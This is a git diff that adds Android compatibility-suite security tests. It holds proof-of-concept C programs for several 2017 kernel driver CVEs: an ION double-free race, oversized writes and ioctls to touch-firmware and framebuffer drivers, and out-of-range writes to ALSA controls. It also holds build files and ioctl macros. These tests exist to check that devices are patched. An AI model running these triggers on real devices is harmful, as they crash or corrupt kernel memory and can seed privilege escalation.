+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ 2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+ (((dir) << _IOC_DIRSHIFT) | \
+ ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | \
+ ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
new file mode 100644
index 0000000..7734d4c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <stdio.h>
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <linux/ion.h>
+
+#define ION_HEAP(bit) (1 << (bit))
+
+enum ion_heap_ids {
+ INVALID_HEAP_ID = -1,
+ ION_CP_MM_HEAP_ID = 8,
+ ION_SECURE_HEAP_ID = 9,
+ ION_SECURE_DISPLAY_HEAP_ID = 10,
+ ION_CP_MFC_HEAP_ID = 12,
+ ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+ ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+ ION_SYSTEM_CONTIG_HEAP_ID = 21,
+ ION_ADSP_HEAP_ID = 22,
+ ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+ ION_SF_HEAP_ID = 24,
+ ION_SYSTEM_HEAP_ID = 25,
+ ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+ ION_QSECOM_HEAP_ID = 27,
+ ION_AUDIO_HEAP_ID = 28,
+ ION_MM_FIRMWARE_HEAP_ID = 29,
+ ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+static unsigned int ion_type[] = {
+ ION_HEAP(ION_CP_MM_HEAP_ID),
+ ION_HEAP(ION_CP_MFC_HEAP_ID),
+ ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
+ ION_HEAP(ION_ADSP_HEAP_ID ),
+ ION_HEAP(ION_SF_HEAP_ID),
+ ION_HEAP(ION_SYSTEM_HEAP_ID),
+ ION_HEAP(ION_QSECOM_HEAP_ID),
+ ION_HEAP(ION_AUDIO_HEAP_ID),
+};
+
+#define NEW_ION
+int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
+{
+ int ret;
+ struct ion_allocation_data req = {
+ .len = len,
+#ifdef NEW_ION
+ .heap_id_mask = ion_type,
+ //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
+ .flags = (1 << 0),
+ .flags = 0x0,
+#else
+ .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
+#endif
+ .align = len,
+ };
+
+ ret = ioctl(fd, ION_IOC_ALLOC, &req);
+ if (ret) {
+ return ret;
+ }
+
+ *hdl = req.handle;
+
+ return 0;
+}
+
+int ion_free(int fd, int hdl)
+{
+ int ret;
+ struct ion_handle_data req = {
+ .handle = hdl,
+ };
+
+ ret = ioctl(fd, ION_IOC_FREE, &req);
+ if (ret) {
+ return ret;
+ }
+
+ return 0;
+}
+
+int ion_map(int fd, int hdl)
+{
+ int ret;
+ struct ion_fd_data req = {
+ .handle = hdl,
+ };
+
+ ret = ioctl(fd, ION_IOC_MAP, &req);
+ if (ret) {
+ return ret;
+ }
+
+ return req.fd;
+}
+
+int ion_fd;
+int ion_handle;
+int status[2];
+int cmd = 0;
+
+void *threadForIonFree01()
+{
+ status[0] = 1;
+
+ while (cmd == 0) {
+ usleep(10);
+ }
+ if (cmd == -1)
+ goto failed;
+
+ usleep(50);
+ ion_free(ion_fd, ion_handle);
+
+failed:
+ status[0] = 2;
+ return NULL;
+}
+
+
+void *threadForIonFree02()
+{
+ status[1] = 1;
+
+ while (cmd == 0) {
+ usleep(10);
+ }
+ if(cmd == -1)
+ goto failed;
+
+ usleep(50);
+ ion_free(ion_fd, ion_handle);
+
+failed:
+ status[1] = 2;
+ return NULL;
+}
+
+int main()
+{
+ int ret, i, count;
+ pthread_t tid_free[2];
+
+ count = 0;
+retry:
+ status[0] = 0;
+ status[1] = 0;
+ cmd = 0;
+ ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
+ if (ion_fd < 0) {
+ return -1;
+ }
+
+ for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
+ ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
+ if (ret == 0) {
+ break;
+ }
+ }
+
+ if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
+ goto failed;
+ }
+
+ ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
+ if (ret != 0) {
+ goto failed;
+ }
+
+ ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
+ if (ret != 0) {
+ cmd = -1;
+ goto failed;
+ }
+
+ while (status[0] != 1 || status[1] != 1) {
+ usleep(50);
+ }
+
+ cmd = 1;
+ ret = ion_map(ion_fd, ion_handle);
+
+ while (status[0] != 2 || status[1] != 2) {
+ usleep(50);
+ }
+
+failed:
+ ion_free(ion_fd,ion_handle);
+ close(ion_fd);
+ goto retry;
+
+ return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
new file mode 100644
index 0000000..0ef89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0577
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
new file mode 100644
index 0000000..42455be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int test_touch_fwu(){
+ char* dev_name = "/dev/touch_fwu";
+ int fd = open(dev_name, O_RDWR);
+
+ if (fd < 0) {
+ return -1;
+ }
+
+ size_t buf_len = 0xfffff;
+ char* buf = (char*) malloc(buf_len);
+ if (buf == NULL ) {
+ return -1;
+ }
+
+ int ret = 0;
+ ret = write(fd, buf, buf_len);
+ free(buf);
+ return ret;
+}
+
+int main()
+{
+ test_touch_fwu();
+ return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
new file mode 100644
index 0000000..494b8c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0579
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
new file mode 100644
index 0000000..5bf4329
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/ioctl.h>
+#include <linux/fb.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define MSMFB_IOCTL_MAGIC 'm'
+#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
+
+int call_ioctl(int file_desc, unsigned long request, void* param)
+{
+ int ret_val;
+
+ ret_val = ioctl(file_desc, request, param);
+
+ if (ret_val < 0) {
+ return ret_val;
+ }
+ return ret_val;
+}
+
+int test_mdss_msm_fb(int file_desc)
+{
+ int ret_val;
+ unsigned char* buf = malloc(0x100);
+ struct fb_cursor cursor;
+
+ memset(&cursor, 0, sizeof(struct fb_cursor ));
+
+ cursor.set = FB_CUR_SETIMAGE;
+ cursor.enable = 1;
+ cursor.rop = 0;
+ cursor.mask = 0;
+ cursor.hot.x = 0x100;
+ cursor.hot.y = 0x100;
+ cursor.image.dx = 1439;
+ cursor.image.dy = 2559;
+ cursor.image.width = 0x1000;
+ cursor.image.height = 0x1000;
+ cursor.image.fg_color = 0xff;
+ cursor.image.bg_color = 0xff00;
+ cursor.image.depth = 32;
+ cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
+
+ ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
+ if(ret_val < 0) {
+ return ret_val;
+ }
+
+ free((void *)cursor.image.data);
+ free(buf);
+
+ return ret_val;
+}
+
+int main()
+{
+ int file_desc, ret_val;
+ const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
+
+ file_desc = open(DEVICE_FILE_NAME, 0);
+ if (file_desc < 0) {
+ return -1;
+ }
+
+ test_mdss_msm_fb(file_desc);
+
+ close(file_desc);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
new file mode 100644
index 0000000..6350b07
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0580
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
new file mode 100644
index 0000000..0cf518a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+struct firmware {
+ size_t size;
+ const uint8_t *data;
+ void **pages;
+ void *priv;
+};
+
+#define TOUCH_FWU_IOCTL_CODE (0x81)
+#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
+#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
+#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
+#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
+#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
+
+void ioctl_modify_size_big(){
+ char* dev_name = "/dev/touch_fwu";
+ int fd = open(dev_name,O_RDWR);
+ if (fd < 0){
+ return ;
+ }
+
+ int cout = 1;
+ while(cout){
+ ioctl(fd, FW_FILE_SIZE , 0xffff );
+ ioctl(fd, FW_LOAD_DONE , 0);
+ }
+}
+
+void ioctl_modify_size_small(){
+ char* dev_name = "/dev/touch_fwu";
+ int fd = open(dev_name,O_RDWR);
+ if (fd < 0){
+ return ;
+ }
+
+ int cout = 1;
+ while(cout){
+ ioctl(fd, FW_FILE_SIZE , 0xf );
+ ioctl(fd, FW_LOAD_DONE , 0);
+ }
+}
+
+void ioctl_FW_UPDATE_PROCCESS(){
+ char* dev_name = "/dev/touch_fwu";
+ int fd = open(dev_name,O_RDWR);
+ if (fd < 0){
+ return ;
+ }
+
+ int cout = 1;
+ while(cout){
+ ioctl(fd, FW_UPDATE_PROCCESS , 0);
+ }
+}
+
+
+int main()
+{
+ pid_t pid = fork();
+ if (pid < 0) {
+ return -1;
+ }
+
+ if (0 == pid) {
+ ioctl_modify_size_big();
+ }
+ else {
+ pid_t pid1 = fork();
+ if (0 == pid1) {
+ ioctl_modify_size_small();
+ }
+ else {
+ ioctl_FW_UPDATE_PROCCESS();
+ }
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
new file mode 100644
index 0000000..9d1d3d17
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-7369
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.c
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
new file mode 100644
index 0000000..c18936c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
@@ -0,0 +1,236 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/ptrace.h>
+#include <errno.h>
+#include <sys/syscall.h>
+#include <sys/prctl.h>
+#include <stdint.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <linux/fb.h>
+#include <dlfcn.h>
+#include <sys/socket.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <unistd.h>
+#include <sound/asound.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAXNUM 94
+#define MAXPCMOP 25
+#define MAXELE 16384
+
+char* CONTBL[MAXNUM]={
+ "comprC0D17",
+ "comprC0D18",
+ "comprC0D37",
+ "comprC0D38",
+ "comprC0D39",
+ "comprC0D40",
+ "comprC0D41",
+ "comprC0D42",
+ "comprC0D9",
+ "controlC0",
+ "hwC0D10",
+ "hwC0D1000",
+ "hwC0D11",
+ "hwC0D12",
+ "hwC0D13",
+ "hwC0D14",
+ "hwC0D15",
+ "hwC0D16",
+ "hwC0D2",
+ "hwC0D20",
+ "hwC0D21",
+ "hwC0D22",
+ "hwC0D24",
+ "hwC0D25",
+ "hwC0D26",
+ "hwC0D3",
+ "hwC0D30",
+ "hwC0D31",
+ "hwC0D35",
+ "hwC0D36",
+ "hwC0D37",
+ "hwC0D39",
+ "hwC0D40",
+ "hwC0D45",
+ "hwC0D7",
+ "hwC0D8",
+ "hwC0D9",
+ "pcmC0D0c",
+ "pcmC0D0p",
+ "pcmC0D10c",
+ "pcmC0D10p",
+ "pcmC0D11c",
+ "pcmC0D11p",
+ "pcmC0D12c",
+ "pcmC0D12p",
+ "pcmC0D13c",
+ "pcmC0D13p",
+ "pcmC0D14c",
+ "pcmC0D14p",
+ "pcmC0D15c",
+ "pcmC0D15p",
+ "pcmC0D16c",
+ "pcmC0D19c",
+ "pcmC0D19p",
+ "pcmC0D1c",
+ "pcmC0D1p",
+ "pcmC0D20c",
+ "pcmC0D20p",
+ "pcmC0D21p",
+ "pcmC0D22c",
+ "pcmC0D22p",
+ "pcmC0D23c",
+ "pcmC0D23p",
+ "pcmC0D24c",
+ "pcmC0D24p",
+ "pcmC0D25c",
+ "pcmC0D26p",
+ "pcmC0D27c",
+ "pcmC0D28c",
+ "pcmC0D29c",
+ "pcmC0D2c",
+ "pcmC0D2p",
+ "pcmC0D30c",
+ "pcmC0D31c",
+ "pcmC0D32c",
+ "pcmC0D33c",
+ "pcmC0D34c",
+ "pcmC0D35c",
+ "pcmC0D35p",
+ "pcmC0D36c",
+ "pcmC0D36p",
+ "pcmC0D3c",
+ "pcmC0D3p",
+ "pcmC0D43c",
+ "pcmC0D44c",
+ "pcmC0D44p",
+ "pcmC0D45c",
+ "pcmC0D45p",
+ "pcmC0D4p",
+ "pcmC0D5c",
+ "pcmC0D5p",
+ "pcmC0D6c",
+ "pcmC0D7p",
+ "pcmC0D8c"
+};
+
+ char* OPPCM[MAXPCMOP]={
+ "/dev/snd/pcmC0D0p",
+ "/dev/snd/pcmC0D10p",
+ "/dev/snd/pcmC0D11p",
+ "/dev/snd/pcmC0D12p",
+ "/dev/snd/pcmC0D13p",
+ "/dev/snd/pcmC0D14p",
+ "/dev/snd/pcmC0D15p",
+ "/dev/snd/pcmC0D19p",
+ "/dev/snd/pcmC0D1p",
+ "/dev/snd/pcmC0D20p",
+ "/dev/snd/pcmC0D21p",
+ "/dev/snd/pcmC0D22p",
+ "/dev/snd/pcmC0D23p",
+ "/dev/snd/pcmC0D24p",
+ "/dev/snd/pcmC0D2p",
+ "/dev/snd/pcmC0D32p",
+ "/dev/snd/pcmC0D33p",
+ "/dev/snd/pcmC0D3p",
+ "/dev/snd/pcmC0D40p",
+ "/dev/snd/pcmC0D41p",
+ "/dev/snd/pcmC0D44p",
+ "/dev/snd/pcmC0D47p",
+ "/dev/snd/pcmC0D4p",
+ "/dev/snd/pcmC0D5p",
+ "/dev/snd/pcmC0D7p"
+};
+
+void poc(char* name)
+{
+ int fd, ret, cmd, index,pcmfd, i;
+ char dev[36]={0};
+ snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
+ fd = open(dev, O_RDWR);
+ if (fd < 0)
+ {
+ return;
+ }
+
+ cmd = SNDRV_CTL_IOCTL_CARD_INFO;
+ struct snd_ctl_card_info info;
+ ret = ioctl(fd, cmd, &info);
+
+ struct snd_ctl_elem_list lst;
+ struct snd_ctl_elem_value control;
+ memset(&lst, 0, sizeof(lst));
+ lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
+ lst.space = MAXELE;
+ cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
+ ret = ioctl(fd, cmd, &lst);
+ control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;
+
+ for(index=0;(unsigned int)index<lst.count;index++)
+ {
+ if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
+ !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
+ !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
+ !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
+ !strncmp((const char *)lst.pids[index].name, "LSM",3)||
+ !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
+ !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
+ !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;
+
+ control.id.numid=lst.pids[index].numid;
+ ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+ }
+ close(fd);
+}
+
+struct mystruct{
+ int a;
+ char* pp;
+};
+
+void freeptr(struct mystruct* p)
+{
+ unsigned char* n = (unsigned char *)p->pp;
+ n = NULL;
+ p->pp = NULL;
+ p = NULL;
+}
+
+int main()
+{
+ int i =0;
+ for(i = 0; i< MAXNUM; i++)
+ {
+ poc("controlC0");
+ break;
+ }
+ return 1;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
new file mode 100644
index 0000000..4f22f3b
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_02.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
